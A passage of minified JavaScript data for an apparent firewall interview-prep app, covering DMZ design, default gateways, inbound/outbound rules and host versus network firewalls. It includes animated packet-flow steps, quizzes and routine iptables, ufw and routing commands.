LAN`,activeNodes:[`internal-zone`],whatIsHappening:`Private internal subnet (Security Level 100) housing core enterprise infrastructure.`,interviewTakeaway:`Internal network is granted highest trust and zero direct WAN exposure.`},{id:6,label:`6. Production Database Placed in Internal LAN`,badge:`Step 6: Database Server`,activeNodes:[`db-server`],whatIsHappening:`Sensitive production SQL database (10.0.2.100:1433) deployed securely behind internal boundary.`,interviewTakeaway:`Data repositories must be isolated behind multi-tier segmentation.`},{id:7,label:`7. Network Links Drawn Across All Zones`,badge:`Step 7: Inter-Zone Links`,activeNodes:[`internet`,`firewall`,`web-server`,`db-server`],whatIsHappening:`Physical and logical links interconnect Internet, Firewall, DMZ Web Server, and Internal Database.`,interviewTakeaway:`All inter-zone traffic must traverse the perimeter firewall.`},{id:8,label:`8. External Client Sends Inbound HTTPS Request`,badge:`Step 8: Inbound Request`,activeNodes:[`internet`],packetInfo:{srcIp:`203.0.113.45`,dstIp:`198.51.100.10`,srcPort:54321,dstPort:443,protocol:`TCP`},whatIsHappening:`External customer sends HTTPS connection request to public virtual IP of Web Server.`,interviewTakeaway:`Perimeter firewall inspects inbound web traffic.`},{id:9,label:`9. Packet Moves: Internet → Edge Firewall`,badge:`Step 9: Ingress Transit`,activeNodes:[`internet`,`firewall`],packetInfo:{srcIp:`203.0.113.45`,dstIp:`198.51.100.10`,srcPort:54321,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet enters firewall outside interface.`,interviewTakeaway:`Inbound connections are evaluated against zone policies.`},{id:10,label:`10. Firewall Inspects Inbound Rule: ALLOW to DMZ`,badge:`Step 10: Inbound Rule Match`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Rule: ALLOW WAN → DMZ (Port 443)`,whatIsHappening:`Firewall matches Inbound rule for TCP 443 and permits packet into DMZ zone.`,interviewTakeaway:`Only explicitly permitted public services pass into the DMZ.`},{id:11,label:`11. Packet Moves: Firewall → DMZ Web Server`,badge:`Step 11: Delivered to DMZ`,activeNodes:[`firewall`,`web-server`],packetInfo:{srcIp:`203.0.113.45`,dstIp:`10.0.1.10`,srcPort:54321,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet forwarded to DMZ Web Server; web server processes customer request.`,interviewTakeaway:`Web server terminates user HTTPS session in the DMZ.`},{id:12,label:`12. Web Server Receives Request (ACCEPTED ✓)`,badge:`Step 12: Web Received ✓`,activeNodes:[`web-server`],decision:`ALLOW`,whatIsHappening:`DMZ web server accepts HTTPS connection and prepares backend database query.`,interviewTakeaway:`DMZ web server acts as front-end reverse proxy.`},{id:13,label:`13. Web Server Creates Internal DB Query (Port 1433)`,badge:`Step 13: DB Query Created`,activeNodes:[`web-server`],packetInfo:{srcIp:`10.0.1.10`,dstIp:`10.0.2.100`,srcPort:38290,dstPort:1433,protocol:`TCP`},whatIsHappening:`Web server initiates SQL query to fetch product catalog from backend database.`,interviewTakeaway:`Web servers query backend databases over internal pinholes.`},{id:14,label:`14. Query Moves: Web Server → Firewall Boundary`,badge:`Step 14: DMZ-to-LAN Transit`,activeNodes:[`web-server`,`firewall`],packetInfo:{srcIp:`10.0.1.10`,dstIp:`10.0.2.100`,srcPort:38290,dstPort:1433,protocol:`TCP`},whatIsHappening:`Query reaches firewall internal boundary interface.`,interviewTakeaway:`Inter-zone traffic between DMZ and LAN requires strict port pinholing.`},{id:15,label:`15. Firewall Evaluates Internal Pinhole Policy: ALLOW`,badge:`Step 15: Pinhole Rule Match`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Rule: ALLOW DMZ Web → Internal DB (Port 1433 Only)`,whatIsHappening:`Firewall validates source is Web Server and port is 1433; permits connection.`,interviewTakeaway:`Strict pinholes prevent arbitrary lateral movement.`},{id:16,label:`16. Query Moves: Firewall → Internal Database`,badge:`Step 16: DB Ingress`,activeNodes:[`firewall`,`db-server`],packetInfo:{srcIp:`10.0.1.10`,dstIp:`10.0.2.100`,srcPort:38290,dstPort:1433,protocol:`TCP`},whatIsHappening:`Packet arrives at internal database server.`,interviewTakeaway:`Database processes SQL query safely.`},{id:17,label:`17. Database Processes Query & Returns Result to Web Server`,badge:`Step 17: DB Reply`,activeNodes:[`db-server`,`web-server`],decision:`ALLOW`,whatIsHappening:`Database replies with SQL query results; web server renders HTML page.`,interviewTakeaway:`Backend database responds back to web server tier.`},{id:18,label:`18. Web Server Delivers Completed Response to Internet Client`,badge:`Step 18: Legitimate Flow Complete ✓`,activeNodes:[`web-server`,`firewall`,`internet`],decision:`ALLOW`,whatIsHappening:`Web server returns completed HTTPS page to external user. (Legitimate Flow Complete).`,interviewTakeaway:`Multi-tier architecture successfully serves public user.`},{id:19,label:`19. SCENARIO 2: Attacker Attempts Direct Connection to Internal DB`,badge:`Step 19: Malicious Attempt`,activeNodes:[`internet`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.2.100`,srcPort:49100,dstPort:1433,protocol:`TCP`},whatIsHappening:`Attacker on public WAN attempts direct SQL injection attack targeting internal DB IP.`,interviewTakeaway:`Attackers attempt to bypass DMZ and hit internal databases directly.`},{id:20,label:`20. Malicious Packet Moves: Attacker → Firewall`,badge:`Step 20: Attack Transit`,activeNodes:[`internet`,`firewall`],packetInfo:{srcIp:`198.51.100.99`,dstIp:`10.0.2.100`,srcPort:49100,dstPort:1433,protocol:`TCP`},whatIsHappening:`Exploit packet hits perimeter firewall outside interface.`,interviewTakeaway:`Perimeter firewall inspects destination zone.`},{id:21,label:`21. Policy Check: Direct WAN-to-Internal DB is STRICTLY BLOCKED`,badge:`Step 21: POLICY BLOCK ✕`,activeNodes:[`firewall`],decision:`DENY`,ruleMatched:`IMPLICIT DENY: WAN → INTERNAL DIRECT ACCESS FORBIDDEN`,whatIsHappening:`Firewall detects unauthorized direct path to Internal zone; instantly drops packet.`,interviewTakeaway:`DMZ architecture guarantees Internet cannot directly reach internal database servers.`},{id:22,label:`22. Packet Halted at Firewall; Database Remains Untouched ✓`,badge:`Step 22: DB PROTECTED ✓`,activeNodes:[`firewall`,`db-server`],decision:`DENY`,whatIsHappening:`Packet dropped at perimeter. Database server receives 0 packets and remains 100% secure.`,interviewTakeaway:`DMZ buffer zone provides complete isolation for internal assets.`}]},{id:23,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is a default gateway, and how does it interact with a firewall?`,difficulty:`Beginner`,visualType:`q23-default-gateway`,elevatorPitch:`A default gateway is the local router or firewall interface that an endpoint sends traffic to whenever the destination IP address is outside its local subnet. The gateway examines the packet, determines the next hop toward the destination, and forwards it to or through the firewall for security inspection before reaching external networks.`,deepDive:`### How Endpoints Determine Gateway Usage
* **Subnet Mask Evaluation (AND Operation):**
  * When a host wants to send a packet, it applies its subnet mask to both its own IP and the target destination IP.
  * **Same Subnet (Local Traffic):** Host uses ARP to resolve the destination host's MAC address and communicates directly over Layer 2 (no gateway needed).
  * **Different Subnet (Remote Traffic):** Host sends the frame to the MAC address of its configured **Default Gateway** (0.0.0.0/0).

### Gateway & Firewall Interaction Models
1. **Firewall AS Default Gateway:** In many enterprise branches, the firewall interface directly acts as the subnet default gateway (e.g. 192.168.1.1), ensuring 100% of inter-VLAN and internet traffic is inspected immediately.
2. **Layer 3 Switch / Router as Gateway with Firewall Next-Hop:** A core L3 switch serves as default gateway for high-speed local VLAN routing, while static default route \`ip route 0.0.0.0 0.0.0.0 <Firewall_IP>\` points all outbound WAN traffic to the firewall.`,realWorldScenario:`An employee laptop with IP 192.168.1.50/24 prints to a local printer at 192.168.1.200 (direct Layer 2 local switch communication, no gateway used). When the employee browses to an external SaaS site at 203.0.113.80, the laptop sends the frame to Default Gateway 192.168.1.1, which passes it to the firewall for egress security scanning.`,commonTraps:[`Thinking local traffic on the same subnet traverses the default gateway (same-subnet frames stay within the Layer 2 broadcast domain).`,`Confusing default gateway IP (Layer 3) with default gateway MAC address (Layer 2 frame destination).`],cliSnippet:`# Windows / Linux Gateway Inspection
ipconfig | findstr "Default Gateway"
ip route show default

# Cisco Switch Default Route pointing to Firewall
ip route 0.0.0.0 0.0.0.0 10.0.0.1`,quiz:{question:`When does a host use its default gateway?`,options:[`Only when performing DNS resolution requests`,`Whenever the destination IP address is outside the host’s local subnet`,`Only when communicating with hosts on the exact same broadcast domain`,`When transmitting broadcast packets to 255.255.255.255`],correctAnswer:1,explanation:`A host only sends traffic to its default gateway when the destination IP does not belong to its local subnet (as calculated by the subnet mask).`},steps:[{id:1,label:`1. Host Laptop on Local Subnet Active (192.168.1.50/24)`,badge:`Step 1: Host Laptop`,activeNodes:[`laptop`],packetInfo:{srcIp:`192.168.1.50/24`,dstIp:`198.51.100.20`},whatIsHappening:`Laptop initialized with IP 192.168.1.50 and Subnet Mask 255.255.255.0.`,interviewTakeaway:`Endpoints check IP and subnet mask to evaluate destination locality.`},{id:2,label:`2. Local LAN Switch Network Active`,badge:`Step 2: Layer 2 Switch`,activeNodes:[`lan-switch`],whatIsHappening:`Local Ethernet switch handles intra-subnet Layer 2 frame switching.`,interviewTakeaway:`Local traffic between hosts on the same subnet never touches the gateway.`},{id:3,label:`3. Default Gateway Router (192.168.1.1) Appears`,badge:`Step 3: Default Gateway`,activeNodes:[`gateway`],whatIsHappening:`Default gateway router interface provides exit path for non-local destination traffic.`,interviewTakeaway:`The gateway handles all packets destined for non-local subnets (0.0.0.0/0).`},{id:4,label:`4. Enterprise Security Firewall Active`,badge:`Step 4: Firewall`,activeNodes:[`firewall`],whatIsHappening:`Firewall positioned between default gateway and public WAN to inspect outbound packets.`,interviewTakeaway:`Firewall evaluates outbound traffic policies before WAN egress.`},{id:5,label:`5. Public Internet Gateway Active`,badge:`Step 5: Internet WAN`,activeNodes:[`internet`],whatIsHappening:`External Internet destination reachable through gateway routing chain.`,interviewTakeaway:`Remote packets transit the complete gateway hierarchy.`},{id:6,label:`6. Remote Server Asset Active (198.51.100.20:443)`,badge:`Step 6: Remote Server`,activeNodes:[`server`],whatIsHappening:`Target remote application server listening on public WAN.`,interviewTakeaway:`Remote servers reside on foreign external subnets.`},{id:7,label:`7. Infrastructure Network Cables Connected`,badge:`Step 7: Cables Connected`,activeNodes:[`laptop`,`gateway`,`firewall`,`internet`,`server`],whatIsHappening:`Cables connect Laptop → Gateway → Firewall → Internet → Remote Server.`,interviewTakeaway:`Physical transit chain enables end-to-end packet delivery.`},{id:8,label:`8. Laptop Creates Packet for Remote Destination`,badge:`Step 8: Packet Created`,activeNodes:[`laptop`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,srcPort:52e3,dstPort:443,protocol:`TCP`},whatIsHappening:`Laptop prepares outbound packet destined for 198.51.100.20:443.`,interviewTakeaway:`Endpoints build Layer 3/4 headers for remote communications.`},{id:9,label:`9. Subnet Check: Destination is Remote (Off-Subnet)`,badge:`Step 9: Subnet Check`,activeNodes:[`laptop`],decision:`INSPECT`,whatIsHappening:`Laptop performs binary AND operation with mask; calculates destination is outside local 192.168.1.0/24.`,interviewTakeaway:`Host determines remote destination requires default gateway forwarding.`},{id:10,label:`10. Laptop Resolves Gateway MAC & Forwards Frame`,badge:`Step 10: Sent to Gateway`,activeNodes:[`laptop`,`gateway`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,srcPort:52e3,dstPort:443,protocol:`TCP`},whatIsHappening:`Laptop sends frame to Default Gateway MAC address.`,interviewTakeaway:`Frame L2 destination is Gateway MAC; packet L3 destination is target server IP.`},{id:11,label:`11. Gateway Receives Packet & Performs Route Lookup`,badge:`Step 11: Gateway Route Lookup`,activeNodes:[`gateway`],decision:`INSPECT`,whatIsHappening:`Default Gateway checks route table: matches default route (0.0.0.0/0 via Firewall).`,interviewTakeaway:`Gateway determines next-hop forwarding path.`},{id:12,label:`12. Packet Moves: Gateway → Firewall`,badge:`Step 12: Routed to Firewall`,activeNodes:[`gateway`,`firewall`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,srcPort:52e3,dstPort:443,protocol:`TCP`},whatIsHappening:`Gateway forwards packet to Firewall ingress interface.`,interviewTakeaway:`Firewall receives packet for security inspection.`},{id:13,label:`13. Firewall Inspects 5-Tuple & Outbound Policy`,badge:`Step 13: Firewall Inspection`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall evaluates outbound rulebase and checks threat profiles.`,interviewTakeaway:`Firewall enforces egress policies.`},{id:14,label:`14. Firewall Allows Packet: Action = ALLOW ✓`,badge:`Step 14: Action ALLOW ✓`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Rule: Permit Outbound HTTPS`,whatIsHappening:`Firewall validates port 443, creates session state, and permits transit.`,interviewTakeaway:`Permitted packet is cleared for WAN egress.`},{id:15,label:`15. Packet Moves: Firewall → Internet`,badge:`Step 15: WAN Egress`,activeNodes:[`firewall`,`internet`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,srcPort:52e3,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet enters public Internet transit backbone.`,interviewTakeaway:`Public routing carries packet across ISPs.`},{id:16,label:`16. Packet Moves: Internet → Remote Server`,badge:`Step 16: Server Ingress`,activeNodes:[`internet`,`server`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,srcPort:52e3,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet reaches target server interface.`,interviewTakeaway:`Forward transit journey concludes at destination.`},{id:17,label:`17. Remote Server Receives Packet (ACCEPTED ✓)`,badge:`Step 17: Server Received ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Remote server accepts TCP SYN and prepares HTTP 200 response.`,interviewTakeaway:`Server initiates return response.`},{id:18,label:`18. Server Generates HTTP 200 Response Packet`,badge:`Step 18: Response Created`,activeNodes:[`server`],packetInfo:{srcIp:`198.51.100.20`,dstIp:`192.168.1.50`,srcPort:443,dstPort:52e3,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Server creates return response addressed back to Laptop 192.168.1.50.`,interviewTakeaway:`Return traffic reverses source and destination addresses.`},{id:19,label:`19. Response Returns: Server → Internet → Firewall → Gateway → Laptop`,badge:`Step 19: Return Transit`,activeNodes:[`server`,`internet`,`firewall`,`gateway`,`laptop`],decision:`ALLOW`,whatIsHappening:`Return response traverses the complete chain back to the originating laptop.`,interviewTakeaway:`Stateful firewall permits established return flow automatically.`},{id:20,label:`20. Laptop Receives Response (Full Round-Trip Complete ✓)`,badge:`Step 20: ROUND-TRIP ✓`,activeNodes:[`laptop`],decision:`ALLOW`,whatIsHappening:`Session established successfully. Gateway provides path; firewall provides protection.`,interviewTakeaway:`Default gateways route off-subnet traffic; firewalls enforce security policies.`}]},{id:24,categoryId:`acl-rules`,category:`ACL & Policies`,title:`What are inbound and outbound firewall rules?`,difficulty:`Beginner`,visualType:`q24-inbound-outbound`,elevatorPitch:`Inbound rules control traffic originating outside the network attempting to enter internal resources (e.g. external users accessing an internal web server), typically restricted to specific ports like 80/443. Outbound rules control internal devices attempting to access external networks (e.g. employees browsing the Internet or downloading patches).`,deepDive:`### Fundamental Comparison
* **Inbound Rules (WAN → LAN / DMZ):**
  * **Direction:** Traffic initiated from external untrusted networks entering protected zones.
  * **Security Stance:** Highly restrictive (Deny all inbound except explicitly permitted public services).
  * **Common Use Cases:** Web servers (TCP 443), Mail servers (TCP 25), IPsec VPN gateways (UDP 500/4500).
* **Outbound Rules (LAN → WAN):**
  * **Direction:** Traffic initiated from internal trusted endpoints seeking external resources.
  * **Security Stance:** Regulated (Restrict dangerous ports like Telnet, SMTP relay, SMB 445; enforce DNS/Web proxy inspection).
  * **Common Use Cases:** Web browsing (HTTP/HTTPS), DNS queries (UDP 53), NTP synchronization (UDP 123).

### Stateful Return Traffic Distinction
* In a stateful firewall, when an internal host initiates an **outbound** request, the firewall dynamically creates a session state entry.
* The returning response from the external server is **automatically allowed back in** as established/related traffic without requiring an explicit inbound rule.`,realWorldScenario:`A financial firm configures an inbound firewall rule allowing public customers to reach their HTTPS banking portal in the DMZ. Conversely, outbound firewall rules on employee workstations block outbound TCP 445 (SMB) and TCP 22 (SSH) to the Internet to prevent data exfiltration and ransomware propagation.`,commonTraps:[`Creating an inbound rule to allow return traffic for an outbound web request (Stateful firewalls automatically allow established return traffic!).`,`Leaving outbound rules completely open (0.0.0.0/0 Any Any Allow), which allows malware on compromised internal endpoints to beacon out freely to C2 servers.`],cliSnippet:`# Linux iptables Inbound & Outbound Rules
# Inbound: Allow HTTPS to local web server
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Outbound: Allow established return traffic and restrict new outbound
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -s 10.0.0.0/24 -p tcp --dport 443 -j ACCEPT`,quiz:{question:`Why does an internal client browsing a website NOT require an inbound firewall rule for the web server’s reply?`,options:[`Inbound rules are never checked on weekends`,`Stateful firewalls track outbound sessions and automatically permit matching return traffic`,`All return traffic uses UDP which bypasses firewall checks`,`Web servers have special administrative bypass tokens`],correctAnswer:1,explanation:`Stateful firewalls maintain a state table. When an internal client initiates an outbound connection, the return packets match the existing state table entry and are permitted automatically.`},steps:[{id:1,label:`1. External Internet Client Active (203.0.113.88)`,badge:`Step 1: External Client`,activeNodes:[`laptop`],whatIsHappening:`External customer connects from untrusted Internet WAN.`,interviewTakeaway:`Inbound traffic originates from untrusted external sources.`},{id:2,label:`2. Perimeter Security Firewall Active`,badge:`Step 2: Policy Gateway`,activeNodes:[`firewall`],whatIsHappening:`Stateful firewall evaluates distinct Inbound and Outbound policy sets.`,interviewTakeaway:`Firewall rules are bound to interfaces and directional zones.`},{id:3,label:`3. Internal Enterprise Web Server Active`,badge:`Step 3: Internal Server`,activeNodes:[`server`],whatIsHappening:`Internal DMZ web server hosting corporate portal services on port 443.`,interviewTakeaway:`Inbound rules protect hosted internal server assets.`},{id:4,label:`4. Network Cables Connected for Inbound Path`,badge:`Step 4: Inbound Cables`,activeNodes:[`laptop`,`firewall`,`server`],whatIsHappening:`Cables connect Internet Client → Perimeter Firewall → Internal Web Server.`,interviewTakeaway:`Inbound traffic traverses perimeter gateway.`},{id:5,label:`5. External Client Creates Inbound HTTPS Packet`,badge:`Step 5: Packet Created`,activeNodes:[`laptop`],packetInfo:{srcIp:`203.0.113.88`,dstIp:`198.51.100.10`,srcPort:49812,dstPort:443,protocol:`TCP`},whatIsHappening:`External user initiates connection to corporate web server public VIP.`,interviewTakeaway:`Inbound connections require explicit permit rules.`},{id:6,label:`6. Packet Moves: Internet → Firewall`,badge:`Step 6: Inbound Transit`,activeNodes:[`laptop`,`firewall`],packetInfo:{srcIp:`203.0.113.88`,dstIp:`198.51.100.10`,srcPort:49812,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet enters firewall outside interface for inspection.`,interviewTakeaway:`Inbound traffic is checked against ingress ACL.`},{id:7,label:`7. Firewall Receives Packet (Status: INSPECTING)`,badge:`Step 7: Inbound Buffer`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall buffers packet and opens Inbound ACL rulebase.`,interviewTakeaway:`Firewall holds packet during rule evaluation.`},{id:8,label:`8. Inbound Rule Table Appears`,badge:`Step 8: Inbound ACL`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall loads Inbound Access Control List.`,interviewTakeaway:`Inbound rules govern outside-to-inside traffic.`},{id:9,label:`9. Source Check: 203.0.113.88 Matches ANY ✓`,badge:`Step 9: Source Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Source IP 203.0.113.88 matches source wildcard criteria.`,interviewTakeaway:`Field matching evaluates source IP.`},{id:10,label:`10. Destination Check: 198.51.100.10 Matches Web VIP ✓`,badge:`Step 10: Dest Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Destination IP matches configured public web server VIP.`,interviewTakeaway:`Destination IP must match published service.`},{id:11,label:`11. Port Check: Port 443 Matches HTTPS ✓`,badge:`Step 11: Port Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Destination port matches authorized HTTPS application port 443.`,interviewTakeaway:`Inbound rules restrict access to specific ports.`},{id:12,label:`12. Inbound Rule 1 MATCH Confirmed`,badge:`Step 12: Rule Matched`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Inbound Rule #1: ALLOW WAN → Web Server (Port 443)`,whatIsHappening:`Inbound Rule 1 matches all 5-tuple criteria; state table session entry created.`,interviewTakeaway:`Explicit permit rules pass authorized applications.`},{id:13,label:`13. Action: ALLOW Executed`,badge:`Step 13: Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall permits packet and prepares forwarding to internal server.`,interviewTakeaway:`Permitted traffic is cleared to enter private zone.`},{id:14,label:`14. Packet Moves: Firewall → Internal Server`,badge:`Step 14: Server Ingress`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`203.0.113.88`,dstIp:`10.0.1.10`,srcPort:49812,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet delivered to internal web server interface.`,interviewTakeaway:`Inbound flow terminates safely at target server.`},{id:15,label:`15. Server Receives Packet (ACCEPTED ✓)`,badge:`Step 15: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Internal server receives request and processes application data.`,interviewTakeaway:`Inbound request successfully reached destination.`},{id:16,label:`16. Server Response Returns Automatically via State Table`,badge:`Step 16: INBOUND COMPLETE ✓`,activeNodes:[`server`,`firewall`,`laptop`],decision:`ALLOW`,whatIsHappening:`Return reply flows back to client through state table without needing an outbound rule. (Inbound Flow Complete - STOP).`,interviewTakeaway:`Stateful firewalls automatically allow established return replies.`},{id:17,label:`17. PART B: Internal Client Appears for Outbound Egress`,badge:`Step 17: Internal Client`,activeNodes:[`laptop`],whatIsHappening:`Internal corporate workstation (10.0.1.50) attempts to access external SaaS portal.`,interviewTakeaway:`Outbound flow tests traffic originating from internal subnets.`},{id:18,label:`18. Outbound Cables Connected`,badge:`Step 18: Outbound Cables`,activeNodes:[`laptop`,`firewall`,`server`],whatIsHappening:`Cables connect Internal Client → Firewall → External Internet Server.`,interviewTakeaway:`Outbound path carries internal egress traffic.`},{id:19,label:`19. Internal Client Creates Outbound Packet (Port 443)`,badge:`Step 19: Outbound Packet`,activeNodes:[`laptop`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.90`,srcPort:51200,dstPort:443,protocol:`TCP`},whatIsHappening:`Internal client initiates web request to external SaaS provider.`,interviewTakeaway:`Outbound traffic must be filtered to prevent malware command-and-control.`},{id:20,label:`20. Packet Moves: Internal Client → Firewall`,badge:`Step 20: Outbound Transit`,activeNodes:[`laptop`,`firewall`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.90`,srcPort:51200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet arrives at firewall inside interface.`,interviewTakeaway:`Outbound packets are checked against egress rules.`},{id:21,label:`21. Outbound Rule Table Appears`,badge:`Step 21: Outbound ACL`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall loads Outbound Access Control List.`,interviewTakeaway:`Outbound policies regulate internal user internet access.`},{id:22,label:`22. Firewall Evaluates Outbound Policy: ALLOW LAN → WAN`,badge:`Step 22: Outbound Rule Match`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Outbound Rule #10: ALLOW LAN → WAN (Port 443 Web)`,whatIsHappening:`Firewall validates outbound web policy, logs session, and permits packet.`,interviewTakeaway:`Outbound filtering enforces enterprise acceptable use and data loss prevention.`},{id:23,label:`23. Action: ALLOW Executed`,badge:`Step 23: Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Packet cleared for WAN egress.`,interviewTakeaway:`Authorized outbound web traffic passes safely to the Internet.`},{id:24,label:`24. Packet Moves: Firewall → Internet Server`,badge:`Step 24: WAN Transit`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.90`,srcPort:51200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet travels across public Internet to SaaS server.`,interviewTakeaway:`Outbound packet reaches external cloud destination.`},{id:25,label:`25. Internet Server Receives Packet (ACCEPTED ✓)`,badge:`Step 25: Server Accepted ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`External SaaS server receives request and processes application logic.`,interviewTakeaway:`Outbound destination receives request successfully.`},{id:26,label:`26. Internet Server Generates Return Response`,badge:`Step 26: Return Response`,activeNodes:[`server`],packetInfo:{srcIp:`198.51.100.90`,dstIp:`10.0.1.50`,srcPort:443,dstPort:51200,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`External server sends HTTP 200 return response.`,interviewTakeaway:`Response flows back to client.`},{id:27,label:`27. Response Reaches Client (Outbound Round-Trip Complete ✓)`,badge:`Step 27: OUTBOUND COMPLETE ✓`,activeNodes:[`laptop`],decision:`ALLOW`,whatIsHappening:`Internal client receives response. Inbound & Outbound rules successfully demonstrated.`,interviewTakeaway:`Clear separation of Inbound and Outbound policies guarantees comprehensive perimeter defense.`}]},{id:25,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is a host-based firewall vs a network-based firewall?`,difficulty:`Intermediate`,visualType:`q25-host-vs-network-fw`,elevatorPitch:`A host-based firewall is software running directly on an individual endpoint (like Windows Defender Firewall or iptables on Linux) protecting that single device from lateral movement. A network-based firewall is a dedicated hardware appliance (like Palo Alto, Fortinet, or Cisco Firepower) deployed inline to protect an entire network segment or organization.`,deepDive:`### Architectural Comparison
* **Host-Based Firewall (Endpoint Security):**
  * **Location:** Installed directly inside the operating system (kernel space).
  * **Scope:** Protects ONLY the local host on which it is installed.
  * **Context Awareness:** Highly application-aware — knows the exact process executable name (\`chrome.exe\`, \`mysqld\`), local user account, and local socket state.
  * **Lateral Movement Protection:** Defends against attacks originating from other compromised devices on the *same local subnet* (where traffic never hits a default gateway).
* **Network-Based Firewall (Perimeter Security):**
  * **Location:** Dedicated hardware or virtual appliance deployed at network boundaries/chokepoints.
  * **Scope:** Protects thousands of downstream hosts across multiple subnets/VLANs.
  * **Throughput:** Massive ASIC-accelerated throughput (10 Gbps – 100+ Gbps).
  * **Centralized Management:** Uniform policy enforcement across the entire enterprise.

### Defense-in-Depth Model
Security best practices require **both**:
1. Network firewall blocks untrusted Internet threats from entering the corporate WAN.
2. Host firewall prevents an infected laptop from attacking neighboring laptops over local Wi-Fi or LAN.`,realWorldScenario:`An employee connects to public coffee shop Wi-Fi and gets infected by a worm. When they return to the office, the network firewall does not see lateral traffic between endpoints on the same corporate LAN switch. However, the host-based firewall on other workstations drops inbound SMB connection attempts, stopping lateral spread.`,commonTraps:[`Disabling host-based firewalls on servers because "we already have a network firewall" (Leaves servers defenseless against lateral attacks).`,`Believing network firewalls know the exact local process name or PID generating network packets without host agent integration.`],cliSnippet:`# Host-Based Firewall (Windows PowerShell)
Get-NetFirewallRule -DisplayName "Remote Desktop*" | Select-Object Name, Enabled, Direction

# Host-Based Firewall (Linux UFW)
sudo ufw status verbose`,quiz:{question:`Which threat is a host-based firewall uniquely suited to block that a perimeter network firewall cannot see?`,options:[`DDoS attacks originating from overseas IP addresses`,`Lateral movement attacks between two laptops on the same local Layer 2 switch subnet`,`BGP routing hijacking attacks`,`DNS root server poisoning`],correctAnswer:1,explanation:`Traffic between two hosts on the same Layer 2 broadcast domain stays within the local switch and never reaches the network default gateway/firewall. Only a host-based firewall running on the destination device can inspect and block it.`},steps:[{id:1,label:`1. PART A: Host-Based Firewall on Endpoint Laptop`,badge:`Step 1: Host Laptop`,activeNodes:[`laptop`],whatIsHappening:`Endpoint laptop runs local OS firewall (Windows Defender / iptables) directly in kernel.`,interviewTakeaway:`Host firewalls operate inside the endpoint OS.`},{id:2,label:`2. Local OS Application Appears (browser.exe / PID 4092)`,badge:`Step 2: OS Application`,activeNodes:[`laptop`],whatIsHappening:`Local application process prepares to initiate outbound network connection.`,interviewTakeaway:`Host firewalls correlate network traffic directly with OS process IDs.`},{id:3,label:`3. Application Creates Network Socket & Packet`,badge:`Step 3: Socket Created`,activeNodes:[`laptop`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.100`,srcPort:49200,dstPort:443,protocol:`TCP`,payloadSummary:`Process: browser.exe`},whatIsHappening:`Application opens TCP socket; packet enters local OS kernel network stack.`,interviewTakeaway:`Socket calls bind local ports to running executables.`},{id:4,label:`4. Host Firewall Intercepts Inside OS Kernel`,badge:`Step 4: Host Intercept`,activeNodes:[`laptop`],decision:`INSPECT`,whatIsHappening:`Host firewall filter hook intercepts packet before it reaches physical NIC.`,interviewTakeaway:`Host firewalls inspect packets at the OS driver/kernel layer.`},{id:5,label:`5. Host Policy Evaluated: ALLOW browser.exe Outbound`,badge:`Step 5: Host Rule Match`,activeNodes:[`laptop`],decision:`ALLOW`,ruleMatched:`Host Rule: Allow browser.exe Outbound on Port 443`,whatIsHappening:`Host firewall validates process authorization and permits frame to leave physical NIC.`,interviewTakeaway:`Host firewalls enforce per-application and per-user security rules.`},{id:6,label:`6. Action: ALLOW (Packet Cleared to Leave Physical NIC)`,badge:`Step 6: Host Egress`,activeNodes:[`laptop`],decision:`ALLOW`,whatIsHappening:`Host firewall marks packet permitted; passes to physical network adapter.`,interviewTakeaway:`Permitted packet exits host hardware interface.`},{id:7,label:`7. Packet Exits NIC & Transits Across Local LAN`,badge:`Step 7: LAN Transit`,activeNodes:[`laptop`,`server`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.100`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet travels across local switch to target local server.`,interviewTakeaway:`Local subnet traffic transits local switch.`},{id:8,label:`8. Local Server Receives Packet (ACCEPTED 